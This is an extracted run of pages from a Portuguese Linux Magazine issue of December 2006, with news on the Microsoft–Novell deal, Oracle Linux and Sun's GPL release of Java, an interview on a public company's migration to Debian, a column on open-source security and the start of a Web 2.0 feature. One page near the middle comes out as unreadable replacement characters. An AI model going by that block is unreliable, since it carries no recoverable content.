Um aspecto adicional do acordo cobre os processos por patentes. Caso a Microsoft eventualmente venha a pro-cessar usuários e fabricantes de Software Livre por uso indevido de suas patentes, os usuários dos sistemas ope-racionais da Novell estarão automaticamente protegidos pelo acordo firmado entre as duas empresas.

Em relação à interopera-bilidade, o acordo estabele-ce a criação de uma equipe conjunta entre as empresas, dedicada à pesquisa e desen-volvimento de soluções de software com capacidade de interagir propriamente com ambos os sistemas. A página da Novell afirma que os três pontos que receberão maior ênfase quanto a esse aspecto serão a virtualização, os serviços web para gerenciamento de servidores físicos e virtu-ais (incluindo a troca de informações entre Active Directory e eDirectory), e a compatibilidade entre documentos Open XML (usados pelo MS Office) e OpenDocument (presentes no BrOffice.org). Haverá investimentos também em softwa-res focados na interoperabilidade, como o próprio BrOffice.org, Mono e Samba.

Grandes empresas importantes no cenário do Software Livre revelaram seu forte apoio ao acordo, com declarações altamente favoráveis por parte dos mais altos executivos da Intel, AMD, HP, IBM e Dell, entre diversos outros.

A Red Hat se manifestou sobre o fato, primeiramente afir-mando que a interação da gigante do software proprietário com empresas de Software Livre é primordialmente positiva

para toda a comunidade. Logo em seguida, deixou bem cla-ro que está atenta à recente (e crescente, após a chegada da concorrente Oracle) competição, oferecendo a seus clientes também a imunidade a processos judiciais por violações de propriedade intelectual.

Naturalmente, dezenas de analistas escreveram suas apre-ciações sobre o acordo, colocando-se em três grupos distintos: o daqueles que crêem que o Linux está ameaçado, outro, o dos que acreditam que nada de significativo aconteceu (ainda), e também o dos que vêem o acenar de uma bandeira branca por parte da Microsoft.

Diversos personagens da comunidade mundial do Software Livre postaram também suas opiniões em blogs e fóruns, sendo que a maioria mostrou certa dose de receio quanto ao futuro. Por exemplo, Warren Togami, do Projeto Fedora, afirmou que sua distribuição jamais se desfará da ideologia do Software Li-

vre, usando o termo “traição” para o acordo da Novell com a Microsoft. Pamela Jones, mantenedora do site Groklaw, também se espantou com o acordo, e mencionou a se-melhança entre a menção à violação de patentes por parte da Microsoft e o caso SCO, recentemente finalizado em favor do Software Livre.

O advogado da Free Soft-ware Foundation, Eben Mo-glen, foi consultado pela No-vell para avaliar se o conteúdo dos acordos configura uma violação da licença GPL, pouco depois de o próprio Moglen ter sugerido que a mesma muito provavelmen-te estaria sendo violada, e

acrescentado ainda que não acredita que a empresa de Bill Gates deixará de processar os desenvolvedores e usuários de Software Livre caso não receba destes um pagamento pelo uso de sua propriedade intelectual.

O site Linux.com consultou ainda Linus Torvalds, que afirmou não saber “nada de nada”, acrescentando que não teria problemas em aceitar eventuais patches de funcionários da Microsoft para o kernel Linux.

O último episódio até o fechamento desta edição, no en-tanto, foi negativo para a Novell. Steve Ballmer, CEO da Mi-crosoft, decepcionou os executivos da Novell ao afirmar que faria acordos semelhantes com qualquer outro fabricante de distribuições Linux, incluindo, por exemplo, a Red Hat. Ao mesmo tempo, feriu, aparentemente, o próprio contrato com a empresa de Utah, que utilizava o termo “exclusividade” para descrever o acordo. ■

O CEO da Microsoft, Steve Ballmer, e o presidente e CEO da Novell, Ron Hovsepian, durante o anúncio do acordo.

http://supertuxbr.blogspot.com

Page 23: 26 - Web 2.0_dez_2006

23

| CORPORATENotícias

Linux Magazine #26 | Dezembro de 2006

➧ Microsoft apóia PHPEm um mês em que a empresa de Bill Gates e Steve Ballmer esteve em forte evidência, mais um acordo da Microsoft foi fechado, dessa vez com a israelense e americana Zend, principal empresa por trás da lin-guagem voltada à Web. O acordo, segundo Bill Hilf, estrategista de tecnologia de Re-dmond, visa a assegurar a compatibilidade do PHP com servidores Windows Server 2003 e também com a próxima versão do sistema operacional proprietário, até agora conhecido como Longhorn.

Associado ao acordo com a Novell, fa-bricante do Suse Linux Enterprise, esta notícia sugere que a gigante do software proprietário definitivamente mudou de es-tratégia quanto ao Software Livre. ■

➧ Oracle lança distribuição LinuxApós algumas semanas de especulação a respeito do lançamento, por parte da Oracle, de uma distribuição de Linux, a empresa finalmente anunciou seu Unbreakable Linux (algo como “Linux Inquebrável”). Os rumores anteriores ao anúncio cogitavam diversas possibi-lidades para a entrada da gigante dos bancos de dados no mercado de distribuições Linux, entre elas a compra da Canonical, com a conseqüente herança do Ubuntu. Outros acredi-tavam que a Oracle lançaria mais uma distribuição baseada nos códigos-fonte do Red Hat Enterprise Linux, a exemplo do CentOS.

Ao final, não só a segunda hipótese se mostrou verdadeira, com o Unbreakable Linux sendo um clone do Red Hat, como a Oracle ainda mostrou estar pronta para concorrer for-temente pelos clientes. Na tentativa de ganhar mercado, a empresa cobra preços mais baixos pelo suporte, garantia e pelos serviços corporativos, em comparação com a concorrente Red Hat. Além disso, a Oracle, que aderiu ao Free Standards Group, conta com apoio de peso, incluindo Intel e AMD, por exemplo, e promete lançar atualizações baseadas naquelas cria-das pela “original” Red Hat, e liberar também suas próprias atualizações para esta.

Analistas apontaram a recente compra da JBoss pela Red Hat como um dos motivos que levaram o fabricante de bancos de dados a considerá-la como uma concorrente, desenca-deando essa forte reação.

Por último, a Oracle passou a oferecer também suporte total, 24 horas por dia, a qual-quer distribuição Linux.

Os usuários que testaram a nova distribuição não relataram muita satisfação. Muito pelo contrário, o kernel diferente daquele empregado pela distribuição mais antiga, além da ausência de aplicativos fundamentais e da falta das atualizações lançadas pela Red Hat, levaram a maioria dos usuários a desaprovar o Unbreakable Linux. ■

Bill Hilf, da Microsoft, pretende garantir a compa-tibilidade da linguagem PHP com servidores Windows Server 2003.

CurtasPlone no Brasil através da Enfold SystemsA Enfold Systems, líder mundial em treinamentos em Plone, anun-ciou em Seattle uma parceria com a Simples Consultoria, empresa brasileira que está agora habilitada a ministrar, com exclusividade, seus cursos do CMS escrito em Python. O primeiro curso da empre-sa foi ministrado em Brasília, DF, entre os dias 13 e 17 de novembro.

Produto integrado Avocent e CycladesApós a aquisição da Cyclades, a Avocent lançou o primeiro produ-to que integra as soluções de ambas as empresas. O software de gerenciamento de infra-estrutura de servidores e redes Linux DS-View 3 inaugura, segundo a Avocent, “a fase de integração das tec-nologias da Avocent e da Cyclades”, abrindo o caminho para ou-tras integrações, como o Cyclades KVM/net e o Cyclades-TS.

Mais de 660 mil unidades do InsigneA distribuição Linux Insigne superou a marca de 660 mil unidades co-mercializadas. Atuante desde 2002 no mercado de Linux corporativo brasileiro, o Programa Computador Para Todos, do Governo Federal, contribuiu com a venda de mais 330 mil unidades para a distribuição. A expectativa da fabricante do sistema operacional é que o Insigne atinja 30% de participação no mercado de PCs populares em 2007.

Pós-graduação em computação com LinuxA Universidade Federal de São Carlos, UFSCar, no Estado de São Paulo, abriu as inscrições para o curso de pós-graduação lato sensu em de-senvolvimento de software para a Web. O curso busca capacitar novos profissionais para a área, e utiliza Software Livre como plataforma de de-senvolvimento ao longo de todo o curso. O coordenador do curso afirma que a escolha por essa plataforma de desenvolvimento não é financei-ra, e sim ideológica e prática, uma vez que diversas empresas, tanto públicas quanto privadas, estão apoiando e utilizando o Software Livre.

Primeiro treinamento DBA GEO no mundoFoi lançado no Brasil o primeiro treinamento em bancos de dados de análises espaciais e topológicas. Criado a partir da interação entre a Dextra Sistemas, desenvolvedora de software, e a OpenGEO, desen-volvedora de soluções geotecnológicas baseadas em SL, o treinamen-to capacitará o profissional a trabalhar com armazenamento e análise de dados das tabelas e atributos gerados pelo PostgreSQL/PostGIS.

➧ Novo ERP livreFoi lançado recentemente o ADempiere, um fork amigável do Compie-re, sistema ERP livre. O sistema original, embora já fosse livre, possuía uma profunda orientação ao banco de dados proprietário da fabricante Oracle, o que de certa forma dificultava sua aplicação em conjunto com bancos de dados livres. É exatamente esse o foco do ADempiere, que, na versão 3.1, ainda em desenvolvimento, acrescenta o suporte a PostgreSQL 8.1.4, tornando-se o primeiro sistema ERP totalmente livre a suportar bancos de dados também livres.

A versão estável do ADempiere, de número 3.2, será liberada assim que forem resolvidas todas as fa-lhas no software. O andamento do ADempiere pode ser conferido em sua página oficial, www.adempie-re.org. ■

http://supertuxbr.blogspot.com

Page 24: 26 - Web 2.0_dez_2006

24 http://www.linuxmagazine.com.br

CORPORATE | Notícias

Após anos de insistência por parte de usuários e desenvolve-dores, a Sun abriu o código do Java. Diferentemente do que muitos esperavam, a licença empregada foi a Licença Pública Geral GNU, e não a CDDL (Common Development and Dis-tribution License), criada e adotada pela empresa, até então, em todos os seus produtos de código aberto, como o kernel OpenSolaris, por exemplo. No último dia 6 de junho, a Sun já havia silenciosamente lançado o programa GlassFish, que consistia de uma aparente abertura do código do Sun Java Sys-tem Application Server Platform. A abertura do GlassFish, no entanto, permaneceu apenas aparente, pois sua licença JRL não permitia a modifi cação e redistribuição do código.

Agora, porém, o comprometimento é total. Com a liberação da Java Platform Micro Edition, destinada a sistemas embar-cados, e da Java Platform Standard Edition, de uso geral, sob a versão 2 da GPL, a Sun “facilita a integração com o Linux”, de acordo com Rich Green, vice-presidente executivo de soft-ware da empresa. Uma ressalva quanto à liberdade imposta pela GPL, entretanto, é o emprego de “classpath exceptions”,

que abrem caminho para a escolha de outras licenças por parte do desenvolvedor que escrever código que interaja com o código GPL da Sun. Segundo Green, no caso da Java SE, essa é uma adição vantajosa para a GPL, pois permite que programas incluam bibliotecas e a máquina virtual Java sem serem “afetados” (sic) pela licença do Java.

A Sun optou ainda por usar um sistema de duplo licencia-mento. Isso signifi ca que é possível licenciar o código da Sun para usá-lo, de forma fechada, em outras aplicações comerciais. No passado, o maior receio da empresa de Santa Clara, EUA, relativo à liberação do código-fonte do Java, era que eventuais “forks” perdessem a compatibilidade, exterminando assim o sucesso da linguagem. Agora, no entanto, Green afi rmou que a própria popularidade do software será capaz de impedir o distanciamento entre os forks. Em uma interessante coloca-ção, o vice-presidente disse que a GPL, ao obrigar a abertura e manipulação do código, fará com que todas as versões se mantenham compatíveis. Além disso, o processo “evolutivo” do software não será comandado pela empresa, embora seus desenvolvedores tenham o compromisso de participar de seu desenvolvimento comunitário.

No tocante à versão 3 da GPL, que está em intenso pro-cesso de discussão, com críticas de diversos proponentes da GPLv2, Green esclareceu que o Java não adotará a nova ver-são, permanecendo sob a GPLv2. Porém, outros softwares de código aberto mantidos pela Sun, como o OpenSolaris, podem perfeitamente vir a adotar a GPLv3. O vice-presidente disse estar “perfeitamente disposto a reavaliar todo o protocolo de licenciamento da empresa”.

Um dos objetivos da Sun é que o Java desfrute de uma maior participação de desenvolvedores da comunidade, a fi m de retomar seu antigo negócio de produção de software.

Até o momento do fechamento desta edição, o código do Java ainda não havia sido publicado, pois o anúncio ofi cial da empresa prometia a liberação do código para o fi m de 2006 ou início de 2007. ■

➧ Sun libera o código do Java sob GPL

Rich Green, vice-presidente executivo de software da Sun, anuncia a abertura do código do Java sob a licença GPL.

➧ LPI nível 3 lançada no BrasilA certifi cação LPI de nível 3 será lançada em dezembro no Brasil. Jon “maddog” Hall aplicará as primeiras provas 301 e 302 às 10:00 do dia 2 de dezembro, na cidade de São Paulo. A inscrição é gratuita, porém seu número é limitado e seletivo. A empresa responsável pela organização do evento e aplicação das provas é a 4Linux, afi liada do Linux Professional Institute e sucessora do LPI Brasil.

Até a criação do nível 3 da certificação LPI, havia somente dois níveis, que ca-tegorizavam o profissional nos níveis básico e intermediário como Administrador Linux. A LPI nível 3 cria, finalmente, a categoria de Administrador Linux Avan-çado, exigindo conhecimentos avançados em Samba, NFS, serviços de impressão, LDAP e autenticação em redes.

Essa prova será um piloto para a certifi cação mundial de nível 3 pelo LPI, e os apro-vados serão os primeiros profi ssionais em todo o mundo com esse nível de certifi cação.

Segundo José Carlos Gouveia, gerente do LPI para a América Latina, a aplicação das provas-piloto no país mostra “a todo o mundo como o Linux é forte aqui no Brasil”, mostrando também o bom trabalho que o LPI Brasil fez nos últimos anos”. ■

Jon “maddog” Hall aplicará as provas-piloto do nível 3 da LPI no Brasil.

http://supertuxbr.blogspot.com

Page 25: 26 - Web 2.0_dez_2006

��������������������������������������������������������������������������

�������������������������������������

��������������������������������������

�����������������������������������

���������

������������������������������

����������������������������������

��������������������������������

������� � � ������ � ���� �������

���

����

���

����

���

���

����

���

��

��� �������������

����������������������

������������������

���������������������������������������������

�����������������������

������������������������������������������������������������������������������

� �� ������ �� ������

� � � � �

���������������������������������������

€ ��������������

������������������������������������������

������������������������������������������

������������������

����������������������������

������

����������������������������������������������

����������������������������������������������

����������������������������������������

�����������������

�������������������

�����

����������

������

����

������������������������������� �����

���������������������������

�������

���������������������������

��������������� � ���� �������

���

����

���

����

���

���

����

���

��

�������������

������������������������������������������

���������������������������������������

�������

����������������������������������������������

����������������������������

����������������������

� �� ������ �� ������

� � � � �

���������������������������������������

€ ��������������

������������������������������ �

��������������������������������������������������������������������������������������������������������������������������������������

�����������������������������������������������������������������������������������������������������������������������������������������������

���������������������������

���������������������� ���������������������

http://supertuxbr.blogspot.com

Page 26: 26 - Web 2.0_dez_2006

26

CO

RP

OR

ATE

http://www.linuxmagazine.com.br

Não possuíamos a verba necessária para adquirir mais licenças de sistemas proprietários para nossos servidores, nem tampouco para atualizar o hardware dessas máquinas.

A Companhia de Entrepostos e Ar-mazéns Gerais de São Paulo, CE-AGESP, é referência nacional em

abastecimento de alimentos, tendo sido fundada em 1969, a partir da fusão de duas empresas do Estado de São Paulo. Hoje vinculada ao Governo Federal, a empresa é composta por unidades de armazenagem, silos e graneleiros no interior do Estado, as quais, associadas à sede na cidade de São Paulo, oferecem serviços de apoio a produ-tores, consumidores e comerciantes.

Pelos portões da CEAGESP passam, diariamente, dez mil toneladas de pro-dutos agrícolas, peixes e flores, vindos de 1300 municípios brasileiros e também do Exterior. Com isso, aproximadamente 60% do abastecimento de hortícolas da Grande São Paulo é realizado pela empresa.

Recentemente, a empresa realizou uma migração de seus servidores para sis-temas Linux, em busca de soluções para seus problemas de infra-estrutura, e obteve um pouco mais que o esperado. É esse o tema da entrevista que seu gerente de TI,

Roberto Leon, e seu Coordenador de In-fra-Estrutura, Paulo Loesch, concederam à Linux Magazine.

Linux Magazine» Por que a CEAGESP adotou o Linux?Roberto Leon» Houve múltiplos fatores para essa escolha. Primeiramente, o Governo Fe-deral vem orientando os órgãos públicos sob sua alçada a utilizarem Software Livre e de código aberto (SL/CA). Note que isso não se restringe ao Linux; muito pelo contrário, a orientação é no sentido de se adotar o SLCA em todas as etapas da produção e uso de soft-wares, tanto no desenvolvimento quanto na infra-estrutura. A CEAGESP, como empresa pública vinculada à esfera federal, optou por se adequar a essa orientação, também para evitar confrontações políticas.

O segundo fator foi econômico. Não possuíamos a verba necessária para adquirir mais licenças de sistemas pro-prietários para nossos servidores, nem tampouco para atualizar o hardware dessas máquinas. Assim, mesmo sem qualquer treinamento formal na área de Linux e SL/CA, a equipe de TI esco-lheu migrar para o Linux. É necessário dizermos que a relação custo-benefício foi fundamental para essa escolha, de nossa parte. Devido ao baixo custo, essa relação pendeu fortemente a favor do sistema operacional gratuito.Paulo Loesch» A CEAGESP não favorece, inicialmente, qualquer uma das alternati-vas. Utilizamos tanto sistemas livres quanto proprietários; são os méritos de cada sistema que definem qual será sua aplicação.

Por exemplo, tivemos uma expe-riência com o pacote de escritório BROffice em plataforma Windows®.

No entanto, sem treinamento, nossos usuários que dependem fortemente desse tipo de aplicativo não se adap-taram à mudança. Assim, analisamos a relação custo-benefício dessa solução e decidimos adotar o pacote proprie-tário, pois tínhamos como arcar com os custos dessas licenças.

LM» Como ocorreu a migração? E quan-tas pessoas foram necessárias?RL» Inicialmente, objetivávamos organizar um treinamento formal para nossa equi-pe de TI. Um dos responsáveis teria uma maior ênfase em segurança, enquanto outro se focaria mais no provimento de serviços, e assim por diante. Infelizmente, não conseguimos a verba necessária para isso, pois a migração dos servidores era absolutamente inadiável.

Contratamos uma consultoria para essa tarefa, a qual também forneceu um breve treinamento a nossos especialistas em TI. Mesmo com pouco treinamento, consegui-mos resolver a maioria das dificuldades em até duas horas. Esse fato, por sinal, mostra que o Linux não é tão difícil quanto mui-tos imaginam.

Roberto Leon, Gerente de TI, e Paulo Loesch, Coordenador de Infra-Estrutura, CEAGESP

Migração frutíferaA CEAGESP sofria com o desempenho de sua estrutura de TI. O acesso dos usuários a suas pastas pessoais era insatisfatoriamente lento. Após a migração dos servidores para Linux, o desempenho da rede melhorou, os usuários ficaram mais satisfeitos, e a administração foi muito facilitada.por Pablo Hess

Figura 1: Todos os dias, dez mil toneladas atravessam os portões da CEAGESP.

http://supertuxbr.blogspot.com

Page 27: 26 - Web 2.0_dez_2006

Linux Magazine #26 | Dezembro de 2006

PL» Vale lembrar que, dos 600 funcionários da CEAGESP, 300 são usuários de infor-mática, e nossa equipe, com apenas três pessoas, consegue gerenciar essa demanda de forma absolutamente adequada. Apesar disso, se fosse possível, eu gostaria de ter podido oferecer um maior treinamento à equipe de TI da empresa.

A equipe de consultoria responsável pela migração era composta por somente duas pessoas, que realizaram o serviço inteiro em três meses. Naturalmente, antes disso foi feito um grande planejamento, por par-te da própria consultoria, mas com auxílio de nossa equipe de TI, para que o processo transcorresse sem problemas.

As mudanças de servidores foram feitas ao longo de três meses. A mais significativa para os usuários, ou seja, a migração do ser-vidor de autenticação, foi realizada em um

fim de semana. Os usuários desligaram suas máquinas na sexta-feira e, quanto voltaram, na semana seguinte, a operação ocorreu como de costume. Eles nem perceberam a migração, o que é ótimo.

LM» De que consiste a solução de vocês?RL» Todos os nossos servidores rodam sobre plataforma Debian GNU/Linux. Eles forne-cem os serviços de proxy (Squid), autentica-ção e servidor de arquivos (Samba e OpenL-DAP), firewall (IPtables), email (POP3 e IMAP) e webmail, DHCP e DNS.

PL» E o que chamamos de servidores são, na realidade, desktops que atuam como servidores. Essa é mais uma das vantagens do Linux. Como ele exige bem menos recursos da máquina, não necessitamos de máquinas poderosas, caras e avançadas. Inclusive, é mais comum as má-quinas pararem devido a falhas do hardware do que por problemas do Linux.

Algumas aplicações menores também rodam e foram desenvolvidas no Linux. Exemplos são o sistema de help desk para abertura de chamados de suporte e nosso software de inventário. No entanto, ainda dependemos de diversas soluções proprie-tárias – felizmente, todas elas estão dispo-níveis também para plataformas Linux, integrando-se, por exemplo, ao banco de dados livre PostgreSQL.LM» Como era a situação anterior à migração? E como é hoje?

RL» Nós tínhamos e ainda temos um problema de in-fra-estrutura em nossa rede. Não possuímos uma rede propriamente estruturada. Com a maioria dos usuá-rios carregando centenas de megabytes ao fazerem login, e ainda acessando suas caixas de mensagem por IMAP, pode-se imagi-nar a sobrecarga que sofria a rede. Os usuários eram obrigados a aguardar até dez minutos para acessar sua área de trabalho, por exemplo.

Hoje, nosso sistema de arquivos limita o espaço ocupado por cada usuário, de forma que o tráfego de rede foi reduzido. Aproveitamos a mudança nos servidores para modificarmos as políticas de uso de disco, o que ajudou a aumentar enormemente a eficiência da comunicação através da rede.PL» Especificamente em relação ao servidor de emails, nós usávamos mailbox, e adota-mos o padrão maildir, bem mais eficiente. Além disso, vimos que nenhum usuário tirava proveito das vantagens do protocolo IMAP. Assim, estimulamos todos, especialmente aqueles com maior fluxo de mensagens, como os técnicos e executivos, a adotarem o protocolo POP3, contribuindo mais um pouco para a redução do tráfego de rede, pois cada mensagem passou a ser baixada uma única vez.

Ou seja, mesmo tendo o espaço para armazenamento de mensagens diminuído, nossos usuários estão mais satisfeitos com todo o serviço oferecido pela estrutura de TI.

Figura 2: A CEAGESP fornece também um local para a realiza-ção do comércio de produtos agrícolas e animais.

Figura 3: Roberto Leon, Gerente de TI.

http://supertuxbr.blogspot.com

Page 28: 26 - Web 2.0_dez_2006

28 http://www.linuxmagazine.com.br

CORPORATE | Entrevista

LM» A migração possibilitou a implan-tação de novos serviços?PL» A CEAGESP é centralizada na ci-dade de São Paulo, porém dispomos também de 40 postos em outras loca-lidades do Estado. Os usuários dessas localidades não possuíam contas de email em nossos servidores, nem tam-pouco tinham acesso à intranet da em-presa. Agora, com a redução do espaço ocupado pelas caixas postais, todos os nossos funcionários possuem contas de

email em nosso servidor, acessando-as através do webmail, a partir de qualquer ponto da Internet.RL» Conseguimos ainda disponibilizar uma VPN, estendendo o alcance de nossos serviços de rede às unidades no interior do Estado. Esse serviço está em fase de implementação, e a disponibilização de novas máquinas foi fundamental para isso. Atualmente, os funcionários remotos já conseguem acessar documentos antes restritos à intranet, assim como as apli-cações de workflow, agenda e chamados de suporte. O resultado é a integração desses postos à matriz.LM» Quais vantagens o Linux propor-cionou em relação à solução proprie-

tária anterior?PL» Um novo recurso muito interessante e positivo foi a unificação das senhas de acesso. Antes, os usuários precisavam digitar uma senha para acessar cada serviço. Por exemplo, digitavam uma senha para acessar os arquivos pessoais, outra para visualizar seu diretório de ar-quivos pessoais, mais uma para navegar na intranet, e uma outra para acessar a Internet. Embora as senhas pudessem ser todas iguais, era desconfortável digitá-la repetidas vezes ao longo do uso da má-quina. Com a integração da autenticação proporcionada pelo sistema OpenLDAP, a senha é solicitada apenas uma vez, e permite o acesso a todos os serviços. Esse é um conforto que os usuários nem se-quer sabiam que podiam ter.

As outras vantagens são os já esperados aumentos de desempenho e estabilidade. Uma melhora inesperada surgiu no geren-ciamento das contas e dados dos usuários, que tornou-se consideravelmente mais fácil, rápido e eficiente. É importante notar que, mesmo sem realizarmos alterações em nossa

Ficha técnica CEAGESPHardware:

➧ Servidor de arquivos: 2x Intel Xeon 3.0 GHz, 2 GB de memória

➧ Servidor DNS e DHCP: Intel Pentium 4 3.0 GHz, 512 MB de memória

➧ Servidor FTP: Intel Pentium 4 3.0 GHz, 512 MB de memória

➧ Servidor de Logs: Intel Pentium 4 3.0 GHz, 512 MB de memória

➧ Servidor VPN: Intel Pentium 4 3.0 GHz, 512 MB de memória

➧ Servidor de emails: 2x Intel Xeon 3.0 GHz

➧ Servidor de webmail: Intel Pentium 4 3.0 GHz, 1 GB de memória

➧ Firewall e proxy: Intel Pentium 4 3.0 GHz, 512 MB de memória

➧ Estações: Hardware variado

Software:

➧ Sistema operacional: Debian GNU/Linux 3.1

➧ Sistema de arquivos e autenticação: Samba e OpenLDAP

➧ Infra-estrutura: Bind (DNS) e DHCPD (DHCP)

➧ FTP: Proftpd

➧ Log: Syslog

➧ VPN: OpenVPN

➧ Email e webmail: Qmail e Open-xchange

➧ Proxy e firewall: Squid com Sarg e iptables

Migração:

➧ Tempo de planejamento: Dois meses

➧ Tempo de execução: Três meses, devido a problemas internos da empresa.

➧ Investimento: R$ 16.000,00, associado a parcerias para trocas de serviços com o contratado.

infra-estrutura de rede, conseguimos obter avanços significativos de desempenho nos processos que dependem dela. Em suma, o Linux proporcionou um aumento de sa-tisfação dos usuários e dos administradores quanto à estrutura de TI.

LM» Que surpresas surgiram ao longo da migração?RL» Na realidade, não houve sur-presas, ao menos de ordem técnica. Como dedicamos bastante tempo e atenção ao planejamento, tudo ocorreu conforme o previsto. Os usuários não chegaram a tomar co-nhecimento da migração, o que é altamente positivo.LM» Há planos futuros de uso de SL/CA na empresa?RL» Sim, sem dúvida. Temos desenvol-vido muitos sistemas sobre a plataforma aberta. Atualmente, estamos finalizando o processo de desenvolvimento de nossos sistemas maiores, como o de controle es-tatístico de informação do mercado e o de emissão de notas fiscais, este responsável pela emissão de oito a dez mil notas fis-cais por dia. Esses sistemas estão sendo programados em Java sobre Linux.PL» Temos ainda planos de consolidação de nossos servidores, além da imple-mentação de recursos de virtualização de máquinas, para um futuro não mui-to distante.LM» Na sua opinião, o que falta para o Li-nux decolar no ambiente corporativo?RL» Creio que falte suporte. Há pro-gramas livres e gratuitos para quase todas as tarefas, porém ninguém se responsabiliza por eles, diferentemente dos softwares proprietários, que obri-gatoriamente são o produto de uma empresa. Acredito que em poucos anos isso venha a se modificar para melhor, com mais desenvolvedores juntando-se ao cenário do SL/CA, juntamente com empresas.PL» Além disso, os gestores de TI parecem ter, ainda, muito medo do SL/CA. Atual-mente, a questão da empresa responsável pelo suporte ao produto é fundamental para qualquer gestor.

LM» Uma declaração final para nossos leitores.RL e PL» Não tenham medo do SL/CA. Se a avaliação dos riscos de uma mi-gração, inicialmente, for muito alta, planejem com cuidado e atenção. É perfeitamente possível a convivência entre softwares proprietários e abertos em um mesmo ambiente de TI. ■

Figura 4: Paulo Loesch, Coordenador de Infra-Estrutura.

Uma melhora inesperada surgiu no gerenciamento das contas e dados dos usuários, que tornou-se consideravelmente mais fácil, rápido e eficiente.

http://supertuxbr.blogspot.com

Page 29: 26 - Web 2.0_dez_2006

http://supertuxbr.blogspot.com

Page 30: 26 - Web 2.0_dez_2006

30

CO

RP

OR

ATE

http://www.linuxmagazine.com.br

O movimento do Código Aberto já é uma rea-lidade na indústria de software. As dúvidas iniciais já foram, em grande parte, sanadas e,

hoje, não se questiona mais a validade desse modelo alternativo de negócios, que fornece desafios, benefí-cios e, com certeza, novas oportunidades, diferentes dos modelos convencionais.

Mas ainda encontramos alguns questionamentos. Um deles diz respeito à questão da segurança, uma vez que os modelos de licença de Código Aberto di-vulgam o código-fonte. Talvez esse debate ainda es-teja vivo porque o modelo de Código Aberto impacta diretamente a receita (e lucratividade) de empresas de software baseadas exclusivamente no modelo de licenças proprietárias. Por exemplo, no relatório anual da Microsoft (www.microsoft.com/msft) está claramente dito, na seção “Fatores de Risco” (em tradução livre): “Nos últimos anos, alguns modelos de software de código aberto evoluíram para um de-safio crescente a nosso modelo de software baseado em licenças”. Também fica claro o potencial de perda financeira: “Quando o Código Aberto aumentar sua aceitação no mercado, as vendas de nossos produtos podem diminuir, e talvez tenhamos que reduzir os preços que cobramos por nossos produtos, conse-qüentemente diminuindo nosso faturamento e nossas margens de operação”. Nada mais natural que essas empresas, lutando pela sobrevivência de seu modelo

de negócios, questionem o Código Aberto, levantando dúvidas e buscando eventuais pontos de falha.

A disponibilidade do código-fonte, mortal para o modelo de licenças proprietárias é, então, alvo de ataque: sua disponibilização não seria um risco para a segurança, uma vez que hackers podem livre-mente vasculhar o código-fonte e identificar vulne-rabilidades?

Bem, uma inferência errônea é que o modelo de código-fonte fechado seria inerentemente mais se-guro. Os freqüentes casos de vulnerabilidades que vemos em softwares proprietários demonstram que essa não é uma assertiva verdadeira. Um exemplo: diversas pesquisas (e a vida prática) têm demonstrado que o Apache apresenta menos falhas de segurança que o IIS da Microsoft. Esconder o código-fonte não garante segurança. A maioria dos ataques dos hackers têm sido feitos em cima de softwares como Windows, Explorer e Office, cujos códigos-fonte são fechados. Existem sofisticadas ferramentas chamadas “disas-sembly tools”, que facilitam aos hackers a dedução do código-fonte a partir do executável. Quem está interessado em explorar uma vulnerabilidade pode usar essas ferramentas, sem precisar do acesso dire-to ao fonte.

E quando há disponibilidade do código-fonte, como proposto pelo Código Aberto? O efeito, ao contrário do que pensam os críticos, é positivo, pois a comunidade consegue detectar vulnerabilidades e corrigi-las rapidamente, pois são muitos olhos atentos, e não apenas uma pequena equipe interna de uma única empresa. No sistema fechado, os usuários ficam à mercê da capacidade do proprietário do software em detectar e corrigir a falha.

Portanto, o modelo de Código Aberto está cada vez mais consolidado, e lutar contra ele seria como defender de forma fanática as máquinas de escrever contra os microcomputadores. Uma luta inglória pois, queiramos ou não, as máquinas de escrever tornaram-se obsoletas! ■

Quebrando o mito da desconfiança: Código Aberto é seguro!

Cezar Taurion

Nada mais natural que essas empresas, lutando pela sobrevivência de seu modelo de negócios, questionem o Código Aberto, levantando dúvidas e buscando eventuais pontos de falha.

O autorCezar Taurion é Gerente de Novas Tecnologias Aplicadas da IBM.

http://supertuxbr.blogspot.com

Page 31: 26 - Web 2.0_dez_2006

31Linux Magazine #26 | Dezembro de 2006

CA

PA

Wikipédia, Google e Myspace são as estrelas do novo mi-lênio. Se os conteúdos e a

organização dessas páginas são muito diferentes uns dos outros, a renúncia ao clássico conceito da World Wide Web (WWW) é um fator que as une. No começo dos anos noventa, quando surgiu a WWW, ela se diferenciava muito pouco das mídias tradicionais como jornal, rádio e TV: de um lado ficavam os fornecedores, que ofere-ciam seus conteúdos na Internet, e do outro os consumidores, que liam e manipulavam as páginas que julga-vam interessantes.

A primeira geraçãoOs acadêmicos foram os primeiros a usar a WWW; a Web se situava placidamente sobre a fundação de tecnologias ante-riores, como archie e gopher, e oferecia uma forma eficiente para universitários e pesquisadores compartilharem seu trabalho. A partir da metade dos anos 90, empresas privadas começaram a usar a Web como uma plataforma de baixo custo e alta eficiência para ven-das e marketing.

A comunicação nos primórdios da Web era tipicamente de mão única – os provedores de conteúdo ofereciam informação aos consumidores desse conteúdo. Do ponto de vista técnico, no entanto, a Internet sempre ofereceu a possibilidade de comunicação bidire-cional. Não demorou muito para que os desenvolvedores começassem a realizar experimentos com a integração dessa comunicação bidirecional às tecnolo-gias da Web.

A possibilidade de interação com o usuário resultante daí foi a mais nova

vantagem descoberta pelos operadores dos sites. Em páginas comerciais, clien-tes criticam e fazem solicitações – e o efeito dessa propaganda pode ser medido com precisão.

Além disso, surgiram os fóruns, nos quais pessoas com os mesmos interesses ao redor do mundo todo podem trocar idéias sobre os mais variados temas, tais como receitas culinárias, política e tec-nologia. Para isso, ao invés das páginas HTML estáticas, foram adicionados sites dinâmicos, os quais, por exemplo, com a ajuda da linguagem de programação PHP, reagiam a comandos do usuário.

A revolução seguintePor volta de 2001, a Internet havia se difundido tão fortemente nos países industrializados que, em grande parte deles, a maioria dos habitantes tinha acesso à Internet. Ao mesmo tempo, as páginas web agora eram outras, com apresentações que as diferenciavam dos

sites tradicionais – e nas quais a interação com o usuário desempenhava um papel fundamental.

Com isso, o modo de lidar com a WWW se alterou profundamente. A fa-mosa editora de TI O’Reilly organizou uma conferência sobre a World Wide Web – como nome da conferência, es-colheram a expressão Web 2.0. O con-ceito se estabeleceu desde então, mas o que está por trás disso é um tanto vago. Alguns dos sites mais populares servem de exemplos incontestáveis da nova Web,

Web 2.0: palavra de ordem vazia ou mudança de paradigma?

